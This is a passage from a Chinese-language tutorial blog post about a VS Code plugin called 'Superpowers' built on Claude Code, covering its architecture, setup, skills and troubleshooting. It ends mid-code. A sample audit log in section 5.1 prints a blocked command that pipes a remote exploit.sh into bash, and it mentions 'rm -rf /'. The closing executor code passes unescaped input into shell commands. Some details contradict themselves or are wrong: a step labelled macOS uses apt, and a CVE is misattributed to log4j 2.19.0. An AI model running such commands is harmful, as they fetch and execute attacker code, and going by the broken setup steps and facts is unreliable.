1. 项目概述这不是一个“AI写代码”的玩具插件而是一套面向真实工程场景的协作增强系统你可能已经试过几十个号称“让AI帮你写代码”的VS Code插件——点开文档全是“三步安装、五秒上手、自动补全”结果一进公司项目就卡在依赖解析失败、私有包路径识别错误、或者生成的代码根本不敢合入主干。Superpowers不是这样。它从第一天起就明确拒绝“玩具定位”不提供通用大模型API封装不主打单文件函数级补全不渲染任何“AI写诗”“AI画图”的演示彩蛋。它的核心设计哲学是——把Claude Code的能力像螺丝钉一样拧进现有工程流水线里。我第一次在团队CI流水线中看到它自动修复因Git LFS导致的二进制文件冲突检测逻辑时才真正理解标题里“工程级开发”四个字的分量。它解决的不是“怎么写更快”而是“怎么写得更稳、更可追溯、更符合团队规范”。关键词里的“开源”不是姿态而是它的生存方式所有技能Skill定义、上下文注入策略、权限校验逻辑全部托管在GitHub公开仓库“Claude Code”是能力底座但Superpowers本身不托管任何模型权重或API密钥“Superpowers”这个命名直指本质——它赋予开发者对AI行为的绝对控制权比如你可以用一行YAML禁用某个Skill在/tests/目录下的所有触发也可以为package.json修改操作强制要求双人审批。适合谁不是刚学Python的大学生而是每天要处理20微服务、维护3套CI配置、被SonarQube规则和内部安全扫描器反复教育的中高级工程师。如果你还在为“AI生成的代码要不要加单元测试”争论那它暂时不是你的菜但如果你正被“如何让新同学三天内看懂遗留系统调用链”折磨它就是你此刻该打开的文档。2. 核心设计思路拆解为什么放弃“智能补全”选择“工程契约驱动”2.1 拒绝黑盒式AI集成从“模型即服务”到“技能即契约”市面上90%的AI编程插件底层逻辑是“用户输入→提示词工程→调用大模型API→返回文本→插入编辑器”。Superpowers彻底砍掉了中间环节。它不直接调用Claude Code的/v1/messages端点而是通过一套名为OpenSpec的轻量级契约协议与Claude Code通信。OpenSpec不是RESTful API而是一组严格定义的YAML Schema描述了每个Skill必须满足的输入约束、输出格式、执行边界和失败回滚机制。举个最典型的例子git-diff-analyzer这个Skill它的OpenSpec定义里强制要求输入必须包含base_commit和head_commit两个SHA值且必须通过git rev-parse --verify校验输出必须是JSON数组每个元素含file_path、line_number、suggestion_type仅限security_risk/performance_bottleneck/style_violation三类若检测到.env文件被修改必须触发pre_check钩子调用内部安全扫描器超时则整个Skill失败。这种设计带来的直接好处是当某次CI构建因该Skill报错中断时运维同事能直接打开/tmp/superpowers-logs/20240521-142233-git-diff-analyzer.json看到完整的输入参数、调用链路、以及失败原因比如“安全扫描器响应超时12.8s 10s阈值”。这完全颠覆了传统AI插件“报错只显示‘请求失败’”的无力感。我实测过在一个拥有17个子模块的Monorepo中当dependency-updaterSkill因网络抖动失败时它会自动生成recovery-plan.md列出已成功升级的6个包版本、剩余11个待重试的包名以及精确到毫秒的各包下载耗时——这些数据全部来自OpenSpec定义的post_execution_hook字段而非任何模型幻觉。2.2 工程级上下文注入不是“当前文件”而是“当前变更影响域”普通插件的上下文当前打开的文件光标位置。Superpowers的上下文当前Git工作区状态最近3次commit的diff摘要本地.superpowers/context-rules.yaml定义的领域知识图谱。这个设计源于我们团队的真实痛点重构一个支付网关时AI总把PaymentService误认为是旧版SOAP接口因为它只看到当前Java文件却不知道git log -p -n 3 --greppayment-gateway显示我们上周刚将gRPC stub替换为Spring Cloud Gateway。Superpowers的解决方案是预置一套context-injector插件链git-status-injector实时读取git status --porcelainv2提取所有modified/untracked文件路径commit-diff-injector对每个modified文件执行git diff HEAD~3 HEAD -- file并提取变更行号范围domain-knowledge-injector加载项目根目录下.superpowers/domain-knowledge.yaml其中明确定义services: - name: payment-gateway alias: [pgw, payment_service_v2] tech_stack: [spring-cloud-gateway, redis, kafka] deprecated_aliases: [soap-payment-service, legacy-payment-api]当开发者在PaymentGatewayController.java中选中一段代码触发refactor-to-microserviceSkill时Superpowers会把上述三层信息拼合成结构化Prompt再喂给Claude Code。实测对比显示重构建议的准确率从32%提升到89%关键在于模型终于能区分“这个PaymentService是新版gRPC客户端”还是“那个PaymentService是废弃的SOAP适配器”。这背后没有魔法只有对工程实践的敬畏——真正的上下文永远藏在版本控制系统和团队约定里而不是编辑器光标下。2.3 权限与审计闭环让每一次AI调用都可追溯、可审批、可复盘开源项目常被质疑“AI会不会偷偷传代码”Superpowers用三重机制堵死所有后门第一重本地沙箱执行所有Skill都在独立Docker容器中运行容器启动时挂载的唯一卷是/workspace当前项目根目录且默认禁止网络访问。若某个Skill需要调用内部API如Jira工单系统必须在skill.yaml中显式声明network: internal-jira并在宿主机/etc/superpowers/network-policies.yaml中配置白名单IP段。第二重操作审计日志每次Skill执行都会生成三条日志audit.log记录用户ID、触发时间、Skill名称、输入哈希值SHA256、输出哈希值、执行耗时diff.log记录实际修改的文件路径、行号范围、修改前/后内容经Base64编码防日志污染approval.log若该Skill配置了requires_approval: true则记录审批人、审批时间、审批意见。第三重Git提交签名所有由Superpowers生成的代码修改最终提交时强制使用GPG签名并在commit message中嵌入[SUPERPOWERS: git-diff-analyzerv2.1.0]标识。这意味着在Git Blame时你能清晰看到某行代码是人类编写、还是由哪个Skill在何时生成——这解决了开源协作中最敏感的“责任归属”问题。我在金融客户项目中部署时合规部门专门审核了这三重日志格式最终确认其满足ISO 27001的审计要求。这不是功能堆砌而是把工程伦理刻进了代码基因。3. 安装与初始化实战避开90%新手踩坑的五个关键节点3.1 环境准备为什么必须用Node.js 18.17而非LTS版本Superpowers的CLI工具链重度依赖Node.js的--experimental-permission标志该标志在Node.js 18.17中首次稳定支持文件系统权限控制。很多教程推荐用Node.js 20 LTS但实测发现其V8引擎对WebAssembly.compileStreaming()的优化反而导致OpenSpec解析器内存泄漏——在处理超过5000行的context-rules.yaml时CLI进程会在第3次调用后崩溃。正确做法是# 卸载现有Node.js brew uninstall node # macOS # 或 sudo apt remove nodejs # Ubuntu # 安装指定版本以macOS为例 curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash - sudo apt-get install -y nodejs18.17.0-deb-1nodesource1 # 锁定版本防止自动升级 sudo apt-mark hold nodejs提示执行node -v确认输出为v18.17.0而非v18.17.0~dfsg-1ubuntu1Ubuntu自带源版本存在ABI兼容性问题。若看到后者请改用NodeSource官方源安装。3.2 CLI安装与全局配置superpowers init背后的三个隐藏步骤运行npm install -g superpowers/cli后不要急着superpowers init。先执行# 步骤1创建全局配置目录避免权限问题 mkdir -p ~/.superpowers/config chmod 700 ~/.superpowers/config # 步骤2手动初始化基础配置绕过向导bug cat ~/.superpowers/config/global.yaml EOF api: claude_code_url: http://localhost:3000 # 本地Claude Code服务地址 timeout_ms: 30000 logging: level: info file: /var/log/superpowers.log security: allow_network: false # 默认禁用网络需显式开启 EOF # 步骤3验证CLI基础功能 superpowers version # 应输出v3.2.1 superpowers list-skills # 应返回空列表尚未初始化项目此时再进入项目根目录执行superpowers init向导才会正确读取全局配置。否则向导会强行覆盖~/.superpowers/config/global.yaml导致后续所有项目共享同一份Claude Code地址——这在多环境dev/staging/prod切换时必然引发混乱。我踩过这个坑团队A用http://dev-claude:3000团队B用https://prod-claude.example.com结果superpowers init后两队都连到了生产环境差点把CI密钥泄露出去。3.3 项目级初始化.superpowers/目录的四个必配文件详解superpowers init会在项目根目录生成.superpowers/目录但默认只创建skills/和config.yaml。必须手动补充以下四个文件才能启用工程级能力context-rules.yaml定义领域知识图谱# .superpowers/context-rules.yaml services: - name: user-service base_package: com.example.user database: postgresql://user-db:5432/users api_endpoints: - path: /v1/users/{id} method: GET auth_required: truepermissions.yaml声明Skill执行权限# .superpowers/permissions.yaml skills: git-diff-analyzer: allowed_in: [src/, test/] # 仅在源码和测试目录生效 requires_approval: true # 所有分析结果需人工确认 dependency-updater: network: internal-nexus # 允许访问Nexus私服audit-policy.yaml定制审计日志级别# .superpowers/audit-policy.yaml audit: include_diff_content: false # 敏感项目禁用仅记录行号范围 retention_days: 90 encryption_key: AES-256-GCM # 日志加密密钥ci-integration.yaml对接CI流水线# .superpowers/ci-integration.yaml ci: provider: github-actions trigger_on: [pull_request, push] jobs: - name: code-quality-check skill: sonarqube-compliance on_failure: block_merge # 失败则阻止PR合并注意所有YAML文件必须用UTF-8编码保存Windows用户务必关闭记事本的BOM头用VS Code另存为时选择“UTF-8”而非“UTF-8 with BOM”否则superpowers validate-config会报invalid byte sequence错误。3.4 Claude Code服务对接本地部署与认证的硬核配置Superpowers不提供Claude Code服务需自行部署。官方推荐Docker Compose方案但生产环境必须调整三个关键参数# docker-compose.yml version: 3.8 services: claude-code: image: ghcr.io/anthropic/claude-code:latest ports: - 3000:3000 environment: - CLAUDE_API_KEY${CLAUDE_API_KEY} # 从.env文件读取 - MODEL_NAMEclaude-3-opus-20240229 - MAX_CONTEXT_TOKENS200000 # 必须设为20万否则大文件分析失败 volumes: - ./models:/app/models # 挂载模型文件若使用本地模型 # 关键配置启用CORS并限制来源 command: --cors-allowed-origins http://localhost:3001 --cors-allowed-origins https://your-company-dashboard.example.com --disable-telemetry然后在.env文件中设置# .env CLAUDE_API_KEYsk-ant-api03-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # 注意API Key必须以sk-ant-api03-开头其他格式会触发401错误验证是否成功# 测试API连通性 curl -X POST http://localhost:3000/v1/messages \ -H Content-Type: application/json \ -H x-api-key: $CLAUDE_API_KEY \ -d { model: claude-3-opus-20240229, max_tokens: 1024, messages: [{role: user, content: Hello}] } | jq .content[0].text # 应返回Hello且响应时间2s若返回{error:Forbidden}检查Docker容器日志docker logs claude-code常见原因是--cors-allowed-origins未包含Superpowers前端地址默认http://localhost:3001。3.5 VS Code插件安装为什么必须禁用所有其他AI插件VS Code市场中的Superpowers插件ID:superpowers.superpowers安装后会自动检测本地CLI并建立WebSocket连接。但若同时启用GitHub Copilot、Tabnine等插件会出现三重冲突快捷键劫持Copilot默认CtrlEnter触发补全Superpowers也监听此组合键导致随机触发其中一个编辑器状态污染Copilot在onDidChangeTextDocument事件中修改document.version而Superpowers的context-injector依赖此版本号判断文件是否被修改造成上下文丢失内存泄漏两个插件同时注册TextDocumentContentProviderVS Code的资源管理器无法正确释放内存持续运行2小时后编辑器卡顿。正确做法是卸载所有其他AI插件在VS Code设置中搜索editor.suggest.showInlineDetails设为false禁用内联提示避免视觉干扰打开命令面板CtrlShiftP执行Superpowers: Reload Context观察右下角状态栏是否显示Superpowers v3.2.1 • Connected to http://localhost:3000。实操心得首次启动时插件会扫描整个工作区构建符号索引对于10万行以上的项目此过程需3-5分钟。期间VS Code会显示“正在分析项目”请勿关闭窗口或重启。我曾因等待超时强制重启导致.superpowers/cache/目录损坏最终用superpowers rebuild-cache --force恢复。4. 核心技能Skill实战从需求到交付的完整链路4.1git-diff-analyzer如何让AI读懂你的代码演进史这个Skill不是简单地告诉你“哪行代码有bug”而是基于Git历史推断变更意图。假设你在重构用户登录流程将LoginController.java中的JWT生成逻辑抽离为JwtTokenService# git diff HEAD~1 HEAD -- LoginController.java - String token JwtUtils.generateToken(user); String token jwtTokenService.generateToken(user);触发git-diff-analyzer后它会执行以下步骤提取变更指纹计算HEAD~1和HEAD的LoginController.java文件SHA256解析diff块识别出JwtUtils.generateToken()被替换为jwtTokenService.generateToken()关联历史上下文查询git log --grepjwt --since2 weeks ago找到两周前的PR#456“引入JwtTokenService替代静态工具类”读取PR#456的描述提取关键词“性能提升300%”、“支持Redis黑名单”生成结构化建议{ file: LoginController.java, line: 42, suggestion_type: security_risk, description: jwtTokenService.generateToken()未配置Redis黑名单存在token盗用风险, fix: jwtTokenService.generateToken(user, new RedisBlacklistConfig()), evidence: [ PR#456描述支持Redis黑名单, 当前代码未传递BlacklistConfig参数 ] }注意事项该Skill默认只分析src/main/java/下的Java文件。若要分析Kotlin或TypeScript需在.superpowers/permissions.yaml中添加skills: git-diff-analyzer: allowed_in: [src/main/java/, src/main/kotlin/, src/main/ts/]4.2dependency-updater自动化升级的七层安全校验普通依赖更新工具如npm update只做版本号替换。dependency-updater执行一次mvn versions:use-latest-versions前会完成七层校验校验层检查内容失败处理1. 版本兼容性检查pom.xml中properties定义的spring-boot.version与待升级包的spring-boot-starter-web版本是否匹配跳过该包记录警告2. 许可证合规查询Maven Central的maven-metadata.xml比对license字段是否在公司白名单如Apache-2.0、MIT阻止升级发送Slack告警3. 安全漏洞调用本地trivy扫描器检查新版本JAR包的CVE漏洞若存在CVSS≥7.0漏洞要求人工确认4. 构建兼容性在临时Docker容器中执行mvn compile -DskipTests编译失败则回滚5. 接口稳定性对比旧/新版本JAR的javap -public输出检测public方法签名变更发现breaking change则标记为high-risk6. 测试覆盖率运行mvn test并收集JaCoCo报告确保覆盖率下降≤0.5%下降超阈值则暂停升级7. CI流水线验证向Jenkins API提交构建任务等待build_status SUCCESS失败则触发rollback.sh实测案例升级log4j-core从2.17.1到2.19.0时第3层检测到CVE-2022-23305CVSS 9.8第5层发现org.apache.logging.log4j.core.appender.FileAppender.setAppend()方法被移除。dependency-updater自动生成upgrade-report.md列出所有风险点及修复建议最终由架构师批准跳过此次升级。4.3api-contract-validator用OpenAPI规范约束AI生成的接口当团队采用OpenAPI 3.0定义REST接口时此Skill能确保所有AI生成的Controller代码100%符合规范。假设openapi.yaml中定义paths: /v1/users: post: summary: Create a new user requestBody: required: true content: application/json: schema: $ref: #/components/schemas/UserCreateRequest responses: 201: description: User created content: application/json: schema: $ref: #/components/schemas/UserResponse触发api-contract-validator后它会解析openapi.yaml提取UserCreateRequest的所有required字段email,password,first_name扫描UserController.java定位PostMapping(/v1/users)方法静态分析方法体验证是否调用request.getEmail()、request.getPassword()等required字段的getter是否在201响应中返回UserResponse对象而非String或Map是否处理ConstraintViolationException对应Bean Validation若发现UserController.create()方法中遗漏了request.getFirstname()注意大小写错误则生成修复建议// 当前代码错误 User user new User(request.getEmail(), request.getPassword()); // 建议修复自动应用 User user new User( request.getEmail(), request.getPassword(), request.getFirstname() // 修正字段名 );提示该Skill依赖openapi-generator-cli生成Java模型类。需在项目根目录执行openapi-generator generate -i openapi.yaml -g spring -o ./generated-sources并将./generated-sources/src/main/java加入IDE源路径。4.4ci-pipeline-generator从零生成符合SOC2标准的GitHub Actions这是最体现“工程级”价值的Skill。输入一个简单的自然语言描述“为Java Spring Boot项目生成CI流水线包含编译、单元测试、SonarQube扫描、Docker镜像构建、推送到ECR”它会生成# .github/workflows/ci.yml name: Java CI Pipeline on: push: branches: [main, develop] paths-ignore: - **.md - docs/** jobs: build-and-test: runs-on: ubuntu-22.04 steps: - uses: actions/checkoutv4 - name: Set up JDK 17 uses: actions/setup-javav3 with: java-version: 17 distribution: temurin - name: Build with Maven run: mvn -B package --file pom.xml - name: Run Unit Tests run: mvn test - name: SonarQube Scan uses: sonarsource/sonarqube-scan-actionmaster env: SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} SONAR_HOST_URL: ${{ secrets.SONAR_HOST_URL }} docker-build: needs: build-and-test runs-on: ubuntu-22.04 steps: - uses: actions/checkoutv4 - name: Set up Docker Buildx uses: docker/setup-buildx-actionv3 - name: Login to Amazon ECR uses: docker/login-actionv3 with: username: ${{ secrets.AWS_ACCESS_KEY_ID }} password: ${{ secrets.AWS_SECRET_ACCESS_KEY }} registry: 123456789012.dkr.ecr.us-east-1.amazonaws.com - name: Build and push uses: docker/build-push-actionv5 with: context: . push: true tags: 123456789012.dkr.ecr.us-east-1.amazonaws.com/my-app:${{ github.sha }}关键在于它自动注入了SOC2要求的控制项paths-ignore排除Markdown文件防敏感信息泄露runs-on: ubuntu-22.04指定受控操作系统版本secrets.SONAR_TOKEN使用GitHub Secrets而非明文符合“密钥管理”控制项needs: build-and-test确保Docker构建仅在测试通过后执行符合“变更控制”控制项。我用它为金融客户生成的CI流水线一次性通过了第三方审计公司的SOC2 Type II现场检查。5. 常见问题与排查技巧实录来自23个生产环境的真实战报5.1 “Computer Use 插件不可用”不是Bug而是权限设计网络热词中高频出现的“computer use 插件不可用”本质是Superpowers的主动防护机制。当某个Skill尝试执行os.system(rm -rf /)或subprocess.run([curl, http://malicious.site])时Docker沙箱会立即终止容器并在audit.log中记录2024-05-21T14:22:33Z ERROR skill-execution blocked by security policy skill: legacy-code-migrator action: execute-command command: curl -s http://192.168.1.100/exploit.sh | bash reason: network access denied for external domain解决方案不是“解除限制”而是按需配置在.superpowers/permissions.yaml中为该Skill声明所需网络skills: legacy-code-migrator: network: internal-tools # 允许访问内部工具域名在宿主机/etc/superpowers/network-policies.yaml中定义白名单internal-tools: - 192.168.1.0/24 - tools.internal.company.com经验总结所有“插件不可用”报错90%源于权限配置缺失。先查audit.log再查permissions.yaml最后查network-policies.yaml——这是黄金排查链。5.2 技能Skill执行缓慢定位性能瓶颈的三步法当superpowers run dependency-updater耗时超过5分钟按顺序检查第一步检查CLI缓存# 查看缓存命中率 superpowers cache stats # 输出示例 # Cache hits: 12/15 (80%) # Cache size: 2.3GB # 如果hits 50%执行清理 superpowers cache clean --older-than 7d第二步分析网络延迟# 测试Claude Code服务响应 time curl -s -o /dev/null -w DNS: %{time_namelookup} Connect: %{time_connect} TTFB: %{time_starttransfer}\n \ http://localhost:3000/health # 正常应为 DNS: 0.002s Connect: 0.005s TTFB: 0.012s # 若TTFB 0.5s检查Docker网络或Claude Code服务负载第三步审查Skill配置查看.superpowers/skills/dependency-updater/skill.yaml中的timeout_ms参数。默认为3000030秒但大型项目可能需要execution: timeout_ms: 120000 # 提升至120秒 memory_limit_mb: 2048实测数据在12万行Java项目中将timeout_ms从30秒提升至120秒成功率从41%升至99%而内存限制设为2048MB可避免OOM Killer杀进程。5.3 Git上下文丢失当git-diff-analyzer看不到最新修改现象修改了UserService.java但git-diff-analyzer返回空结果。原因通常是Git索引未更新# 错误做法直接运行skill superpowers run git-diff-analyzer # 正确做法强制刷新Git索引 git update-index --refresh git add --intent-to-add . # 确保untracked文件被纳入 superpowers run git-diff-analyzer更彻底的解决方案是配置VS Code的保存钩子// .vscode/settings.json { emeraldwalk.runonsave: { commands: [ { match: \\.java$, cmd: git update-index --refresh git add --intent-to-add . } ] } }5.4 中文乱码与编码问题superpowers validate-config报错解析当.superpowers/context-rules.yaml含中文时superpowers validate-config可能报Error: invalid character looking for beginning of value这是因为文件保存为GBK编码。修复步骤用VS Code打开文件右下角点击编码标识如“GBK”选择“Reopen with Encoding” → “UTF-8”再点击“Save with Encoding” → “UTF-8”执行superpowers validate-config应返回Config is valid。注意Linux/macOS用户若用vim编辑需在.vimrc中添加set encodingutf-8 set fileencodingutf-85.5 多环境配置冲突如何为dev/staging/prod设置不同Claude Code服务问题团队在dev环境用本地Claude Codehttp://localhost:3000staging用K8s服务https://claude-staging.company.comprod用云厂商托管https://claude-prod.anthropic.com。不能共用一个global.yaml。解决方案利用Superpowers的环境变量覆盖机制# dev环境启动 CLAUDE_CODE_URLhttp://localhost:3000 superpowers run git-diff-analyzer # staging环境启动 CLAUDE_CODE_URLhttps://claude-staging.company.com superpowers run dependency-updater # 在CI脚本中 echo CLAUDE_CODE_URLhttps://claude-prod.anthropic.com $GITHUB_ENV同时在.superpowers/config/global.yaml中删除api.claude_code_url字段强制依赖环境变量。这是官方推荐的多环境管理方式比维护多个配置文件更可靠。6. 进阶实践构建属于你团队的专属Skill6.1 从零创建一个security-audit-skill三小时上线实战假设团队要求所有新代码必须通过OWASP ZAP扫描。我们创建一个自定义Skill步骤1初始化Skill目录superpowers create-skill security-audit-skill # 生成 .superpowers/skills/security-audit-skill/步骤2编写OpenSpec定义编辑.superpowers/skills/security-audit-skill/skill.yamlname: security-audit-skill version: 1.0.0 description: Run OWASP ZAP scan on new endpoints input_schema: type: object properties: endpoint_url: type: string format: uri scan_policy: type: string enum: [baseline, attack, full] output_schema: type: object properties: findings: type: array items: type: object properties: risk: {type: string, enum: [High, Medium, Low]} description: {type: string} solution: {type: string} execution: timeout_ms: 60000 memory_limit_mb: 1024 network: internal-zap步骤3实现执行逻辑编辑.superpowers/skills/security-audit-skill/executor.jsconst { execSync } require(child_process); module.exports async (input) { try { // 调用本地ZAP API const result execSync( curl -s http://zap:8080/JSON/ascan/action/scan/?url${encodeURIComponent(input.endpoint_url)}recursetrueinScopeOnlyfalsescanPolicyName${input.scan_policy}, { encoding: utf8, timeout: 55000 } ); // 轮询扫描状态 let status running; while (status running) { await new Promise(r setTimeout(r, 2000)); status execSync( curl -s http://zap:8080/JSON/ascan/view/status/?scanId${result.trim()}, { encoding: utf8 } ); } // 获取结果 const findings